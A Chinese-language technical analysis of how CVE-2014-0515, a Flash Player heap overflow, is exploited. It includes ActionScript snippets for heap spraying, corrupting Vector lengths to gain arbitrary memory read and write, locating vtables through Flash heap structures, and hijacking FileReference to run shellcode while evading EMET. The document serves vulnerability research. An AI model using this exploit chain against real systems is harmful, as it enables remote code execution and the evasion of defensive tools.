自Haifei Li公開了CVE-2013-0634利用方法[3],2014年瀏覽器框架內觸發0day的漏洞都開始使用這種利用技巧,包括CVE-2014-0322[4],CVE-2014-1776[5],CVE-2014-0515等,相比最初的利用,從這些散落的0day上可以看到一次次進步。直到CVE-2014-0515,修改Vector長度實現漏洞利用的方法達到前所未有的簡捷。而這種簡捷背后實則是對Flash數據和代碼結構的了然于胸。
在開始深入分析CVE-2014-0515的利用技巧之前,先簡單介紹一下修改Vector長度實現繞過ASLR、DEP等保護的原理。首先,這種方法對漏洞類型并沒有太多要求,Heap Overflow、Use After Free、Integer Overflow等都有可能使用它完成利用。利用的關鍵在于控制初始階段溢出或占位的堆數據,使得漏洞觸發時:
能夠篡改坐落在堆上的Vector結構起始部分的長度字段。它依賴于提前部署恰當的堆結構,讓Vector分布在可能被改寫的位置,如發生UAF對象的附近,某個特定地址等。
保證漏洞觸發時,除了修改Vector長度外,其他內存讀寫操作都不會觸發異常,正常返回,這樣才有機會繼續調用Flash完成余下的利用工作。
傳統較難利用的內存破壞型漏洞借此可轉化為任意內存讀寫型的漏洞。
目前已經公布了多個版本的CVE-2014-0515分析報告,但他們對其利用過程的闡述略過了部分關鍵技術細節,如長度和間隔的數值選取,搜索使用的偏移等。其原因可能是分析者對于Flash堆結構不夠了解,不能解讀這些數值背后的含義。經過大量的實驗總結,本文會深入分析Flash堆的特征結構,全面解讀CVE-2014-0515的漏洞利用細節。
本文分析時所使用的漏洞利用代碼是Rapid7根據原始樣本整理發布的,查看地址:http://t.cn/RPPaWrf
CVE-2014-0515是Flash的一個堆溢出漏洞,雖然從細節上看包括Pixel Blender字節碼的覆蓋和越界寫兩部分,但最終效果和一個普通的堆溢出漏洞完全相同。在不糾纏于漏洞自身原理,著眼于利用技巧的指導思想下,后文將簡單地將漏洞描述為堆溢出。
當Flash的ActionScript代碼嘗試通過加載一個外部的二進制文件(Pixel Blender的字節碼文件)創建用于圖形渲染的Shader對象時發生溢出。Shader對象位于堆,會復寫其后的內存空間。通過精心部署堆結構,可以使得Shader對象的堆溢出剛好復寫其后Vector對象的長度字段,并正常返回。利用超長的Vector,可以任意讀寫內存實現代碼執行。為了觸發漏洞,下文分析時使用Flash的版本為13.0.0.182。
Shader對象占用了0x90字節的內存,而對象初始化實際寫入0x98字節。為了保證多寫入的0x08字節剛好覆蓋到臨近的Vector對象,進行Heap Spray時需要提前在Vector對象間預留0x90的空位,使得新分配的Shader對象落入其中。為了完成這一目標,需要減少內存碎片,通過使用小Vector將低地址的碎片化內存占滿,保證新分配內存都位于高地址段、大塊的可控內存區域:
var array_length:uint = 0x10000;
var vector_size:uint = 34;
var array:Array = new Array();
i = 0;
while (i < array_length)
{
array[i] = new Vector.<int>(1);
i++;
};
接下來,開始噴射連續大塊的內存,這些內存將在高地址段連續分布,每塊內存都為0x90大小(Vector.<int>包含一個0x08大小的VectorHeader,其中VectorHeader的前0x04字節就是一直在說的長度字段,所以34*4+0x08=0x90,和Shader對象內存大小相當):
i = 0;
while (i < array_length)
{
array[i] = new Vector.<int>(vector_size);
i++;
};
i = 0;
while (i < array_length)
{
array[i].length = 0;
i++;
};
接下來為了保證復寫Vector長度字段時更容易檢測,提前將所有Vector長度設置為0,這樣一旦發生復寫,只需要檢測哪個Vector的長度大于0即可,長度改寫為0前后的內存示意如圖1和圖2所示:
圖1. 長度改寫前的內存分布圖
圖2. 長度修改為0后的內存分布圖
關鍵的部分來了,要在這些大片的內存中為即將初始化的Shader對象預留0x90大小的孔洞:
i = 0x0200;
while (i < array_length)
{
array[(i – (2 * (j % 2)))].length = 0x0100;
i = (i + 28);
j++;
};
其實上面的代碼包含的信息量很大,但目前已有的分析中都簡單略過。在已經分配的大片內存中制造孔洞的核心思想是將一些Vector長度設置為大于原始長度(vector_size:34)的0x100。修改長度操作的結果是,原0x90內存區域被釋放,對應的array[i]會指向一片新申請的內存區域。原始的0x90區域就形成了孔洞并隨后被Shader對象占據,發生堆溢出時,array[i+1]的長度字段會被復寫。原理直接明快,但具體實現細節上有兩個有趣的問題:從哪個地址開始留孔洞以及孔洞的間隔是多少。
第一個問題比較容易回答,通過多組實驗數據的觀察,當i>0x200時,array[i]幾乎都是新申請Vector內存,當中不包含其他可能打斷Vector內存的對象結構體。不被打斷、連續分配直接決定漏洞利用成功與否。試想如果由于其他對象的亂入,堆溢出復寫的臨近內存不是預料中的Vector,那后面利用技巧就都是無稽之談了。
回答第二個問題需要實際觀察堆的分配形式。Flash在管理自身堆內存時的策略導致這些0x90的小塊內存最后要對齊到0x1000。每個0x1000內存塊起始包含一個0x20大小的BlockHeader。0x1000里面一共可以包含28個0x90的內存塊,而28剛好是上面漏洞利用代碼中設定的孔洞間隔。這樣的間隔可以保證0x1000內存中有且只有一個孔洞,這點是后面快速計算真實內存地址的充分條件。
至此,Heap Fengshui已經將堆排布成了所需結構,高地址有連續分布的Vector以及多個孔洞,圖3是內存的分布示意圖:
圖3. Heap Fengshui后的內存示意圖,紅色是每個0x1000內存塊的BlockHeader,綠色的區塊表示孔洞,每個0x1000內包28個區塊。上述結構作為基本的重復單元覆蓋大片內存。
經過上述一系列準備工作,堆結構已經就緒,現在基于畸形字節碼創建的Shader對象會剛好落入圖3中綠色0x90大小的區塊中。
shader.byteCode = (new Shad() as ByteArray);
由于堆溢出,array[i+1]的0x08大小的Header會被復寫,使得array[i+1]的長度從0變為一個大于34的數值。下面只需要遍歷全部的Vector就可以很容易找到這個array[i+1],也即是下面的array[corrupted_vector_idx]:
while (i++ < array_length)
{
if (array[i].length > 0x0100)
{
corrupted_vector_idx = i;
break;
}
}
借助這個被覆蓋長度的Vector可以改寫array[corrupted_vector_idx+1]的長度字段為0x40000001,使得array[corrupted_vector_idx+1]也就是tweaked_vector具備對整個內存空間的讀寫能力:
array[corrupted_vector_idx][vector_size] = 0x40000001;
tweaked_vector = array[(corrupted_vector_idx + 1)];
接下來,為了可以準確定位要改寫的內存片段,需要搜索tweak_vector的真實內存地址,可是搜索真實內存地址的方法在現有的分析報告中被完全忽略。在Heap Fengshui一節介紹Flash堆管理時曾提及,每0x1000會包含一個0x20大小的BlockHeader,而搜索真實地址的方法就隱藏當中。
如圖2所示,BlockHeader+0x10為0x0090001C,這個字段表達的含義為0x1000中共包含0x1C(28)個0x90大小的內存塊。對比圖3,由于0x1000釋放了一個0x90的內存塊使得BlockHeader+0x10變為0x0090001B。BlockHeader第一個字段會記錄0x1000內被釋放的最后一個區塊起始地址,所以如果能夠確保0x1000中只有一個被釋放的區塊,則該區塊的地址會記錄在0x1000起始的位置。當Shader對象創建時,它所屬0x1000內存的BlockHeader+0x10會暫時變為0x0090001C。但由于Shader對象創建時解析字節碼發生堆溢出后從內存釋放,BlockHeader+0x10再次變為0x0090001B,BlockHeader起始仍舊記錄著被釋放0x90塊起始地址。
所以,搜索的tweak_vector真實地址可以概括為:利用tweak_vector向低地址步進查看內存找到0x0090001B,再向前0x10個字節就可以找到一個地址,該地址即為0x1000中被釋放的0x90塊的地址。它和tweak_vector第一個元素的地址相差0x90*2+8:
while (true)
{
val = tweaked_vector[(0x40000000 – i)];
if (val == 0x90001B) break;
i++;
};
tweaked_vector_address = 0;
tweaked_vector_address = ((tweaked_vector[((0x40000000 – i) – 4)] + (8 * (vector_size + 2))) + 8);
相比以往的利用過程,雖然獲得tweak_vector和其真實地址都是必經之路,但CVE-2014-0515走得最為簡潔明快,源于作者對Flash堆的深入理解。至此一個堆溢出漏洞就被成功轉化為一個任意內存讀寫漏洞。
在獲得內存任意讀寫的能力以后,原則上講可以有無數種執行shellcode的方法,但為了提高執行效率減少開發投入,此前的利用方案仍然是參考了傳統ROP框架:搜索StackPivot指令,VirtualProtect地址,構造ROP,篡改flash.media.Sound對象的虛函數表指向ROP鏈,調用Sound.toString()開啟shellcode所在內存的可執行權限,篡改虛函數表指向shellcode,再次Sound.toString()即可執行代碼。
上述思路在實現時仍然需要搜索內存找到Sound對象的虛函數表,步驟越繁瑣越可能出現非法操作等不穩定因素。并且由于仍然通過直接調用VirtualProtect來開啟內存可執行權限,漏洞利用代碼易被EMET等防護軟件察覺。
相比之下,CVE-2014-0515的做法有了諸多改進。首先,它選用了FileReference對象的虛函數表作為觸發開關,并利用堆的BlockHeader來直接定位spray的FileReference對象,而不是暴力搜索。其次,使用Flash模塊中已有的代碼片段開啟內存可執行權限,可以完全規避現有EMET的檢測策略。
在討論快速搜索spray的內存對象前,首先對Flash堆的知識再做一些補充。BlockHeader+0x1C會指向一個0x24大小的結構體,該結構體標識當前堆的屬性,如區塊大小,個數,范圍等。有趣的是,這個0x24大小的結構體同樣位于一個連續排布的數組空間中,向上或向下移動0x24偏移就會指向另一個堆描述的結構體,這些結構體之間是按描述的堆單元區塊大小順序分布。為了方便敘述,暫時命名這個0x24的結構體為Heapcomstruct。
Heapcomstruct+0x08是其對應堆的區塊大小,此前Heap Fengshui章節中大量spray的Vector,其Heapcomstruct+0x08數值為0x90。Heapcomstruct+0x0C指向第一個大小為Heapcomstruct+0x08的堆內存起始地址。
通過BlockHeader和Heapcomstruct可以快速找到FileReference對象在內存中的位置,先在內存中spray一組FileReference對象實例:
i = 0;
while (i < 64)
{
file_reference_array[i] = new FileReference();
i++;
};
接下來利用tweak_vector地址,找到對齊到0x1000的BlockHeader,進而獲得其0x1C偏移處的Heapcomstruct,根據大小排序向下0x24步進,找到區塊大小為0x2A0對應的堆地址(FileReference對象實例的大小為0x2A0字節)。為了進一步確定大小為0x2A0的區塊內存儲的是FileReference對象,還可以根據對象空間特征佐證,如0x180偏移處為0xFFFFFFFF:
// vector: vector with tweaked length
// address: memory address of vector data
function find_file_ref_vtable(vector:*, address:*):uint{
var allocation:uint = read_memory(vector, address, ((address & 0xFFFFF000) + 0x1c));
var allocation_size:uint;
while (true)
{
allocation_size = read_memory(vector, address, (allocation + 8));
if (allocation_size == 0x2a0) break;
if (allocation_size < 0x2a0)
{
allocation = (allocation + 0x24); // next allocation
} else
{
allocation = (allocation – 0x24); // prior allocation
};
};
var allocation_contents:uint = read_memory(vector, address, (allocation + 0xc));
while (true)
{
if (read_memory(vector, address, (allocation_contents + 0x180)) == 0xFFFFFFFF) break;
if (read_memory(vector, address, (allocation_contents + 0x17c)) == 0xFFFFFFFF) break;
allocation_contents = read_memory(vector, address, (allocation_contents + 8));
};
return (allocation_contents);
}
一旦找到FileReference對象所在的0x1000堆塊,越過0x20的BlockHeader,FileReference對象的虛函數表地址就映入眼簾了。
而搜索Flash中開啟可執行屬性代碼片段時時仍然是以Heapcomstruct作為起點。Heapcomstruct位于數據段(.data),而開啟可執行屬性的代碼片段位于代碼段,所以需要反向暴力搜索。Flash模塊的內存結構如圖4所示:
圖4. Flash模塊的內存結構
由于內存的連續分布,因此反向搜索時可以保證不會因出現讀寫未知內存而出現異常中斷利用代碼的執行。用于開啟內存可執行屬性的代碼片段如圖5所示:
圖5. 位于Flash代碼段,可開啟可執行屬性的代碼片段
該片段能夠給[eax-4]為起始,[eax-8]長的內存空間賦予可執行屬性。并且該段代碼調用前后保持了堆棧平衡,非常適合在力求穩定的利用代碼中使用。通過暴力搜索得到這段代碼地址后,所有執行代碼的先決條件都已具備。
shellcode存放在一塊新申請的內存中(多組0x1000大小的噴射),而定位這些堆塊地址的方法和前面搜索FileReference實例的方法完全相同,因此不再贅述。觸發執行的方法是替換FileReference的虛函數表為tweak_vector附近的地址:
tweaked_vector[7] = (memory_protect_ptr + 0); // VirtualProtect call
tweaked_vector[0] = 0x1000; // Length
tweaked_vector[1] = (address_code_vector & 0xFFFFF000); // Address
write_memory(tweaked_vector, tweaked_vector_address, (file_reference_vftable + 0x20), (tweaked_vector_address + 8));
虛表指向了tweak_vector[2],而FileReference.cancel()函數偏移為0x14。當替換后再次執行虛函數,tweak_vector[2+0x14/4]=tweak_vector[7]地址將作為被執行的片段,也即是開啟內存可執行屬性的代碼片段。由于虛函數調用使用eax作為尋址寄存器,因此進入虛函數前,eax指向tweak[2],所以[eax-4],[eax-8]剛好指向tweak_vector[1]和tweak_vector[0],也即兩個決定開啟地址的參數。
最后把shellcode地址賦給tweak_vector[7],再次執行FileReference.cancel()就可以執行預定代碼了.如果shellcode能夠保持堆棧平衡,并在結束直接ret返回,整個內存將完好如初,漏洞利用代碼將如幽靈般閃現,無人知曉。
本文重點分析了CVE-2014-0515的漏洞利用過程,并借此闡述了一些未被公開過的Flash堆管理的結構體。對Flash逆向分析的深入使得漏洞利用更為簡潔明快,代碼也更加精巧,也許在不久之后Flash也會誕生如IE開啟SafeMode般的利用代碼。
[1] Pwn2Own 2010 Windows 7 Internet Explorer 8 exploit
[2] Technical Analysis of CVE-2014-0515 Adobe Flash Player Exploit
[3] Smashing the Heap with Vector: Advanced Exploitation Technique in Recent Flash Zero-day Attack
[4] Operation SnowMan: DeputyDog Actor Compromises US Veterans of Foreign Wars Website
[5] New Zero-Day Exploit targeting Internet Explorer Versions 9 through 11 Identified in Targeted Attacks